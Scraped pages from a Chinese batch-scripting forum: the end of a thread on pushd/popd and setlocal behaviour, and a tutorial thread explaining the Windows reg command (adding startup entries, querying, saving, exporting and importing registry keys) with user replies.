  78. 2011/01/11  09:35               404 快速设置“隐藏文件和文件夹”.bat

  79. 2011/05/10  11:52               589 方正同花顺.lnk

  80. 2011/08/22  23:39             1,270 标题违规.vbs

  81. 2011/05/10  11:52               484 湘财金禾独立交易版.lnk

  82. 2011/06/14  03:12               694 电驴.lnk

  83. 2011/08/20  20:33    <DIR>          编程

  84. 2011/06/24  13:17             1,777 腾讯QQ.lnk

  85. 2011/09/05  18:47               115 跳转到rar目录.bat

  86. 2011/08/19  17:33               118 非系统命令学习.bat

  87. 2011/02/08  20:42               586 黄金岛.lnk

  88.               38 个文件     16,022,395 字节

  89.                6 个目录  6,084,112,384 可用字节
复制代码
扩展阅读：
无。
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
2楼
发表于 2011-9-8 18:05 | 只看该作者
把全盘搜索作为扩展阅读或者例子可以吗？
http://bbs.bathome.net/thread-3465-1-1.html
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
3楼
发表于 2011-9-8 20:31 | 只看该作者
回复 2# Batcher

全盘搜索跟pushd和popd关系不大啊
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
4楼
发表于 2011-9-8 22:17 | 只看该作者
回复 3# Hello123World

仔细看看方案二
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
5楼
发表于 2011-9-9 16:46 | 只看该作者
回复 4# Batcher
  1. @echo off

  2. rem 指定待搜索的文件

  3. set "FileName=BatHome_Batcher.txt"

  4. echo 正在搜索，请稍候...

  5. for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (

  6.   if exist %%a:\nul (

  7.     pushd %%a:\

  8.     for /r %%b in ("*%FileName%") do (

  9.       if /i "%%~nxb" equ "%FileName%" (

  10.         echo.%%b

  11.       )

  12.     )

  13.     popd

  14.   )

  15. )

  16. pause
复制代码
popd没有必要吧，在这里跳回源路径干什么？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

zzpsongs
  • 发短消息
  • 加为好友

zzpsongs 当前离线

UID
46088
帖子
12
精华
0
积分
19
PB
13
技术
2
捐助
0
阅读权限
5
在线时间
29 小时
注册时间
2012-3-11
最后登录
2014-2-21

列兵

帖子
12
积分
19
技术
2
捐助
0
注册时间
2012-3-11
6楼
发表于 2012-7-28 23:43 | 只看该作者
本帖最后由 zzpsongs 于 2012-8-6 15:06 编辑

我今天发现 pushd和popd指令还受变量延迟的影响
比如v目录的v.bat文件内的代码是
  1. pushd %~dp0

  2. md tesst1

  3. cd tesst1

  4. md tesst2

  5. cd tesst2

  6. setlocal enabledelayedexpansion

  7. cd \

  8. popd

  9. popd

  10. popd

  11. popd
复制代码
然后打开cmd,以v目录所在的目录为工作目录，对v\v.bat 进行call指令
  1. call v\v.bat
复制代码
可以看到，不管popd了几次，最终目录都会是setlocal前所cd的目录，而不是初衷的v目录所在的目录

解决办法是在popd之前进行endlocal，比如：
  1. pushd %~dp0

  2. md tesst1

  3. cd tesst1

  4. md tesst2

  5. cd tesst2

  6. setlocal enabledelayedexpansion

  7. cd \

  8. endlocal

  9. popd

  10. popd

  11. popd

  12. popd
复制代码
如果有错误，还请达人们指教~~

我上面的操作过程写得有点繁琐，我来个一次性的代码吧：
  1. @echo off

  2. set a=tess2

  3. echo 调用前的工作目录（初始目录）是%~dp0

  4. ::接下来配置实验环境，可无视

  5. md yy>nul 2>nul

  6. >show.txt echo 现在的工作目录是yy目录“%~dp0yy”，不是初始目录，请尝试修改%a%.bat，在popd前插入endlocal语句，保存后再重新执行本批处理

  7. move show.txt yy>nul

  8. >show.txt echo 现在的工作目录是初始目录”%~dp0”，现在popd的效果正是所预期的

  9. if not exist %a%.bat (

  10.   >%a%.bat (

  11.   echo pushd %%~dp0

  12.   echo cd yy

  13.   echo setlocal enabledelayedexpansion

  14.   echo.

  15.   echo popd

  16.   )

  17. )

  18. ::以上为实验环境配置，可无视

  19. echo 调用初始目录下的%a%.bat (pushd → cd yy → popd)

  20. call %a%.bat

  21. ::调用%a%.bat后，若显示初始目录，那就对了；若显示yy目录，那么popd就失去初衷了

  22. echo %a%.bat执行结束

  23. echo 调用结束后,执行type show.txt，结果是：

  24. echo.

  25. type show.txt

  26. echo.

  27. pause
复制代码
1

评分人数

    • CrLf: 新发现技术 + 1
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
7楼
发表于 2012-7-31 18:54 | 只看该作者
本帖最后由 Hello123World 于 2012-7-31 18:59 编辑

回复 6# zzpsongs

受到变量延迟的影响？结果没看出差别。

1.
  1. @echo off

  2. pushd d:\

  3. dir

  4. cd game

  5. SetLocal EnableDelayedExpansion

  6. popd

  7. dir

  8. pause
复制代码
2.
  1. @echo off

  2. pushd d:\

  3. dir

  4. cd game

  5. popd

  6. dir

  7. pause
复制代码
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
8楼
发表于 2012-7-31 19:15 | 只看该作者
回复 6# zzpsongs

popd 只和 pushd 一一对应（路径以堆栈的形式保存），测试你的代码发现 popd 后的路径仍是 pushd 前的路径啊，似乎和 setlocal 没有关系？
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

评分 报告 TOP

zzpsongs
  • 发短消息
  • 加为好友

zzpsongs 当前离线

UID
46088
帖子
12
精华
0
积分
19
PB
13
技术
2
捐助
0
阅读权限
5
在线时间
29 小时
注册时间
2012-3-11
最后登录
2014-2-21

列兵

帖子
12
积分
19
技术
2
捐助
0
注册时间
2012-3-11
9楼
发表于 2012-8-6 13:12 | 只看该作者
本帖最后由 zzpsongs 于 2012-8-6 13:25 编辑

回复 7# Hello123World

是这样的，你如果用cmd直接调用你的第一个代码，会发现在pause后（即是退出该批处理，或者说，在调用时，不要添加pause），目录会改变到setlocal 之前所设置的，而非原来调用该批处理的启动目录；
如果在popd前添加endlocal则可避免这种现象。
回复 引用

评分 报告 TOP

zzpsongs
  • 发短消息
  • 加为好友

zzpsongs 当前离线

UID
46088
帖子
12
精华
0
积分
19
PB
13
技术
2
捐助
0
阅读权限
5
在线时间
29 小时
注册时间
2012-3-11
最后登录
2014-2-21

列兵

帖子
12
积分
19
技术
2
捐助
0
注册时间
2012-3-11
10楼
发表于 2012-8-6 13:14 | 只看该作者
回复 8# CrLf

在下的意思是，如果不添加endlocal，popd的结果确实是启动目录，但是退出批处理后，目录却是setlocal之前所cd的。
回复 引用

评分 报告 TOP

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
11楼
发表于 2012-8-6 13:58 | 只看该作者
回复 10# zzpsongs

还是没明白...
不过发现 endlocal 居然会将路径还原到 setlocal 之前，从没听说过 setlocal 和 endlocal 还有这个特性
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

评分 报告 TOP

zzpsongs
  • 发短消息
  • 加为好友

zzpsongs 当前离线

UID
46088
帖子
12
精华
0
积分
19
PB
13
技术
2
捐助
0
阅读权限
5
在线时间
29 小时
注册时间
2012-3-11
最后登录
2014-2-21

列兵

帖子
12
积分
19
技术
2
捐助
0
注册时间
2012-3-11
12楼
发表于 2012-8-6 14:28 | 只看该作者
本帖最后由 zzpsongs 于 2012-8-6 14:35 编辑

回复 11# CrLf

是的，在下正是这个意思，也就是说，调用另一个批处理后要注意工作目录是否已被改变，而不是popd了，就放心了。

不过，这是什么道理呢？
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:16, Processed in 0.047353 second(s), 8 queries, Gzip enabled.


30、操控注册表：reg

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（30）操控注册表：reg
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 下一页
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-9-9 17:26 | 只看该作者

[原创] 【续】[一日一教学]（30）操控注册表：reg

本帖最后由 Hello123World 于 2012-4-13 17:57 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. REG Operation [Parameter List]

  2.

  3.

  4.

  5.   Operation  [ QUERY   | ADD    | DELETE  | COPY    |

  6.

  7.                SAVE    | LOAD   | UNLOAD  | RESTORE |

  8.

  9.                COMPARE | EXPORT | IMPORT  | FLAGS ]

  10.

  11.

  12.

  13. 返回代码: (除了 REG COMPARE)

  14.

  15.

  16.

  17.   0 - 成功

  18.

  19.   1 - 失败

  20.

  21.

  22.

  23. 要得到有关某个操作的帮助，请键入:

  24.

  25.

  26.

  27.   REG Operation /?

  28.

  29.

  30.

  31. 例如:

  32.

  33.

  34.

  35.   REG QUERY /?

  36.

  37.   REG ADD /?

  38.

  39.   REG DELETE /?

  40.

  41.   REG COPY /?

  42.

  43.   REG SAVE /?

  44.

  45.   REG RESTORE /?

  46.

  47.   REG LOAD /?

  48.

  49.   REG UNLOAD /?

  50.

  51.   REG COMPARE /?

  52.

  53.   REG EXPORT /?

  54.

  55.   REG IMPORT /?

  56.

  57.   REG FLAGS /?
复制代码
命令概括：
reg，全英文registry，意为：注册；这里可以引申为注册表。

reg命令下辖12个操作开关，每个操作开关又有众多的参数；

在批处理中最强大的命令无疑是for，但是最给力的绝对是reg（除了给力，我不知道该怎么形容了）；

reg命令可直接操作注册表，注册表是windows的数据库，所以关键不是reg而是注册表！但reg既然可以操作注册表，那么即便关键不是reg，那也是reg。

注册表(Registry)是一个系统设置数据库,它存放了系统软件与硬件设置,同时网络运行设置也放在其中,可见其在系统启动、运行等方面的重要性。

为了直观的显示此命令究竟是怎么给力的，展示两个常用的功能。
1.增加系统启动项（一般是把文件拖到开始菜单——程序——启动，实现开机自启动；删除开机启动一般是在 msconfig /4 中设置）
  1. @echo off

  2. echo 修改系统启动项

  3. set /p girl=输入要添加的程序的名称：

  4. set /p boy=输入该程序的完全路径：

  5. reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v %girl% /d %boy% /f
复制代码
2.qq自启动。
  1. @echo off

  2. reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v qq /d "F:\腾讯软件\qq\qq.exe" /f
复制代码
将F:\腾讯软件\qq\qq.exe改成对应的完全路径即可。

参数详解：

展示完了，那就先从reg add说起。
reg add帮助：
  1. REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

  2.

  3.   KeyName  [\\Machine\]FullKey

  4.            Machine  远程机器名 - 忽略默认到当前机器。远程机器上

  5.                     只有 HKLM 和 HKU。

  6.            FullKey  ROOTKEY\SubKey

  7.            ROOTKEY  [ HKLM | HKCU | HKCR | HKU | HKCC ]

  8.            SubKey   所选 ROOTKEY 下注册表项的完整名。

  9.

  10.   /v       所选项之下要添加的值名。

  11.

  12.   /ve      为注册表项添加空白值名(默认)。

  13.

  14.   /t       RegKey 数据类型

  15.            [ REG_SZ    | REG_MULTI_SZ | REG_EXPAND_SZ |

  16.              REG_DWORD | REG_QWORD    | REG_BINARY    | REG_NONE ]

  17.            如果忽略，则采用 REG_SZ。

  18.

  19.   /s       指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符

  20.            如果忽略，则将 "\0" 用作分隔符。

  21.

  22.   /d       要分配给添加的注册表 ValueName 的数据。

  23.

  24.   /f       不用提示就强行覆盖现有注册表项。

  25.

  26. 例如:

  27.

  28.   REG ADD \\ABC\HKLM\Software\MyCo

  29.     添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

  30.

  31.   REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead

  32.     添加一个值(名称: Data，类型: REG_BINARY，数据: fe340ead)

  33.

  34.   REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail

  35.     添加一个值(名称: MRU，类型: REG_MUTLI_SZ，数据: fax\0mail\0\0)

  36.

  37.   REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%

  38.     添加一个值(名称: Path，类型: REG_EXPAND_SZ，数据: %systemroot%)

  39.     注意: 在扩充字符串中使用插入符号 ( ^ )
复制代码
REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

reg add 下辖6个参数。
add，全英文add，意为：添加。
keyname，全英文keyname，意为：键名。
/v，全英文value，意为：值；这里引申为值名。
/ve，全英文value empty。意为：空值；这里引申为值名。（感谢cb02356828 的单词提供！）
/t，全英文type，意为：类型；
/s，全英文separator，意为：分隔符；
/d，全英文data，意为：数据；这里为了以区分方式加强记忆，可以多记几个单词，date（日期），dota（魔兽争霸rpg）。
/f，全英文force，意为：强迫；这里引申为强制。

这里出现了很多的新名词，有必要讲解一下这些新名词的含义（括号中是实际称谓），键名（项），值名（键名），值（键值）；
例如：
  1. reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v qq /d "F:\腾讯软件\qq\qq.exe" /f
复制代码
其中，
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run就是“项”；

qq就是“键名”；可以自己设置。

F:\腾讯软件\qq\qq.exe就是“键值”；这里是我电脑上qq.exe的完全路径，根据自己电脑本身的qq.exe路径填写。

运行这段代码后，每次计算机启动都会自动运行qq.exe，实现qq的自动登录；（qq本身是可以设置自动登录的，但不少无名气的小软件本身都不可以定义自启动，这时候添加自启动的reg add 代码就用的上了）

REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
添加一个值(名称: Path，类型: REG_EXPAND_SZ，数据: %systemroot%)
注意: 在扩充字符串中使用插入符号 ( ^ )

上面这段引用的意思就是，在“键值”有特殊符号时，需要用^加以转义，要添加键值“%systemroot%”，就必须写成“^%systemroot^%”。

再以一个例子说明：
  1. @echo off

  2. title 信长之野望12pk改变窗口模式工具 by helloworld

  3. set /p a=1.全屏2.窗口（输入1或者2）：

  4. if %a%==1 reg add  "HKCU\Software\KOEI\Nobunaga12pk tc\Configs" /v FullScreen /t REG_DWORD /d 1 /f && echo 信长之野望12pk将会以全屏启动

  5. if %a%==2 reg add  "HKCU\Software\KOEI\Nobunaga12pk tc\Configs" /v FullScreen /t REG_DWORD /d 0 /f && echo 信长之野望12pk将会以窗口启动

  6. pause>nul
复制代码
语法：reg add 项 /v 键名 /t 键值类型 /d 键值 /f(强制执行)

结合前面的两个代码，其实不难看出，在reg add命令中，最常用的就是 /v /d /f 三个参数，/value后跟键名，/data后跟键值，/force 表示强制执行。

省略/t参数时，默认的键值类型为 REG_SZ

这里以reg add为基础，全面的解析reg命令：

注册表就是上面那么4个关键的东西：项、键名、键值类型、键值；4个以外，再无其它；

因此，reg命令操作对象也就不过这4个东西，不管是add也好、delete也好、query也好，统统都是如此。

“师傅领进门，修行在个人”，以下只给出每个子命令的大致用法（reg add中的参数在不少其它的reg子命令中可以通用），不再阐述每个具体参数的意义（括号中是中文翻译）。

REG QUERY /? query（查询），用来查询具体的项、键名、键值。
例子：
  1. ::获取ie缓存文件夹位置

  2. set zcb=

  3. set hc=

  4. set weizhi=

  5. set "zcb=HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"

  6. for /f "tokens=1* delims=Z" %%i in ('reg query "%zcb%" /v cache') do set "weizhi=%%j"

  7. set "hc=%weizhi:~1%"

  8. for /f "tokens=* delims= " %%i in ("%hc%") do set "hc=%%i"

  9. echo ie缓存文件夹位置：%hc%
复制代码
ie缓存文件夹位置，在windowsxp和windows7中的位置是有差别的，但是在注册表中存储“ie缓存文件夹位置”的地址却是一样的，某种意义上来说，注册表可以解决批处理的兼容性，换句话说，
就是利用reg命令可以解决批处理兼容性的问题！

REG ADD /? add（添加），用来添加具体的项、键名、键值。

REG DELETE /? delete（删除），用来删除具体的项、键名、键值。

REG COPY /? copy（复制），用来复制具体的项、键名、键值到另一个具体的项、键名、键值。

REG SAVE /? save（保存），用来保存具体的项、键名、键值，到以hiv为扩展名的文件中。（可以想象，必有一个还原hiv文件的reg子命令）
例子：
  1. REG SAVE HKLM\Software\MyCo\MyApp c:\AppBkUp.hiv

  2. ::将配置单元 MyApp 保存到c盘中的文件 AppBkUp.hiv
复制代码
REG RESTORE /? restore（还原），覆盖方式还原以hiv为扩展名的文件，到具体的项、键名、键值中。（跟reg save相对应）

例子：
  1. REG SAVE HKLM\Software\MyCo\MyApp c:\AppBkUp.hiv

  2.
复制代码
项一直紧跟在子命令后面，不管什么reg子命令。

REG LOAD /? load（加载），追加方式还原以hiv为扩展名的文件，到具体的项、键名、键值中。（跟reg save相对应）

例子：
  1. REG LOAD HKLM\TempHive TempHive.hiv

  2.   将文件 TempHive.hiv 加载到注册表项 HKLM\TempHive
复制代码
“restore等同于>，load等同于>>”——类似这样。

REG UNLOAD /? unload（卸载），将加载子命令load的操作删除。
例子：
  1. REG UNLOAD HKLM\TempHive

  2.   卸载 HKLM 中的配置单元 TempHive
复制代码
REG COMPARE /? compare（比较），用来比较具体的项、键名、键值和另一个具体的项、键名、键值。
例子：
  1. REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp

  2.   将注册表项 MyApp 下的所有值跟 SaveMyApp 比较
复制代码
REG EXPORT /? export（输出），用来保存具体的项、键名、键值，到以reg为扩展名的文件中。（常说的“备份注册表”就是这个了）
例子：
  1. REG EXPORT HKLM\Software\MyCo\MyApp AppBkUp.reg

  2.   将注册表项 MyApp 的所有子项和值导出到文件 AppBkUp.reg
复制代码
REG IMPORT /? import（输入），有备份就有还原，export的逆操作。（不需要加项，会自动添加到具体位置）
  1. REG IMPORT AppBkUp.reg

  2.   从文件 AppBkUp.reg 导入注册表项
复制代码
REG FLAGS /? flags（标识），密钥？
  1. REG FLAGS HKLM\Software\MyCo\MyApp QUERY

  2.   显示密钥 MyApp 的当前标志。
复制代码
扩展阅读：
1.注册表和注册表编辑器。
还是引那句拗口的话来说明，“reg命令可直接操作注册表，注册表是windows的数据库，所以关键不是reg而是注册表！但reg既然可以操作注册表，那么即便关键不是reg，那也是reg。”
同样的道理，
注册表编辑器可直接操作注册表，注册表是windows的数据库，所以关键不是注册表编辑器而是注册表！但注册表编辑器既然可以操作注册表，那么即便关键不是注册表编辑器，那也是注册表编辑器。

注册表编辑器就是个软件，软件名为regedit.exe，作用和reg命令一样都是用来操作注册表。
注册表是windows的数据库。

2.注册表主要的根键。
注册表有5个根键，分别是（括号中表示该根键所掌管的数据——有遗漏，无错误）：
HKEY_CLASSES_ROOT（已在计算机上注册的所有com服务器和与应用程序相关联的所有文件扩展名）
HKEY_CURRENT_USER（当前用户配置信息）
HKEY_LOCAL_MACHINE（该计算机对于任意用户的配置信息，掌管数据最多）
HKEY_USERS（系统默认用户配置信息）
HKEY_CURRENT_CONFIG（硬件配置文件信息）

其中，HKEY_CLASSES_ROOT、HKEY_CURRENT_CONFIG都是HKEY_LOCAL_MACHINE的子项，分别对应于HKEY_LOCAL_MACHINE\SOFTWARE\Classes、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet

3.键值的数据类型。
[ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ |
REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ]

字符串值
在注册表中，字符串值一般用来表示文件的描述、硬件的标识等。通常它由字母和数字组成，最大长度不能超过255个字符。通过键值名、键值就可以组成一种键值项数据，这就相当于Win.ini、Ssyt-em.ini文件中小节下的设置行。其实，使用注册表编辑器将这些键值项数据导出后，其形式与INI文件中的设置行完全相同。

二进制值
在注册表中，二进制值是没有长度限制的，可以是任意个字节长。在注册表编辑器中，二进制以十六进制的方式显示出来。

DWORD值
DWORD值是一个32位（4个字节，即双字）长度的数值。在注册表编辑器中，您将发现系统会以十六进制的方式显示DWORD值，在编辑DWORD数值时，可以选择用十进制还是16进制的方式进行输入。
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
2楼
发表于 2011-9-9 18:49 | 只看该作者
是否可以增加一下几个方面？
1、给个具体例子说明/ve怎么用
2、百分号、双引号怎么转义
3、删除、导入、导出等怎么用

参考：http://bbs.bathome.net/thread-3747-1-1.html
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
3楼
发表于 2011-10-5 21:06 | 只看该作者
reg命令可直接操作注册表，注册表是windows的数据库，所以关键不是reg而是注册表！但reg既然可以操作注册表，那么即便关键不是reg，那也是reg。

好晕啊...
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

评分 报告 TOP

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
4楼
发表于 2011-10-6 15:05 | 只看该作者
本帖最后由 zaixinxiangnian 于 2011-10-6 15:06 编辑

回复 1# Hello123World

export 的输出的文件和REG文件有区别吗？
好像RGE这个命令可以编辑注册表文件了
1

评分人数

    • Hello123World: 这个问题提得好。PB + 6
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
5楼
发表于 2011-10-6 15:29 | 只看该作者
回复 4# zaixinxiangnian
这种问题，随手自己就可以测试了……

没有差别，这是用export导出的reg文件。
  1. Windows Registry Editor Version 5.00

  2.

  3. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

  4. "QvodTerminal"="\"F:\\视频软件\\QvodPlayer\\QvodTerminal.exe\" -autorun"

  5. "qq"="F:\\腾讯软件\\qq\\qq.exe"

  6.

  7. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQDisabled]
复制代码
这是注册表手动导出的reg。
  1. Windows Registry Editor Version 5.00

  2.

  3. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

  4. "QvodTerminal"="\"F:\\视频软件\\QvodPlayer\\QvodTerminal.exe\" -autorun"

  5. "qq"="F:\\腾讯软件\\qq\\qq.exe"

  6.

  7. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQDisabled]
复制代码
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
6楼
发表于 2011-10-6 15:31 | 只看该作者
恩，导出后的reg文件，可以不用import导入，可以直接双击导入。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
7楼
发表于 2011-10-6 16:31 | 只看该作者
回复 5# Hello123World

偷个小懒了，所以没有试
以后可以用批的EXPORT做注册表优化的注册表文件了
问个不相关的问题 PB做什么用，是不是就是积分啊。查看新帖列表哪里，标题前面的图标是什么意思？
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
8楼
发表于 2011-10-6 18:39 | 只看该作者
回复 7# zaixinxiangnian

http://bbs.bathome.net/faq.php?action=credits
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
9楼
发表于 2011-10-7 16:47 | 只看该作者
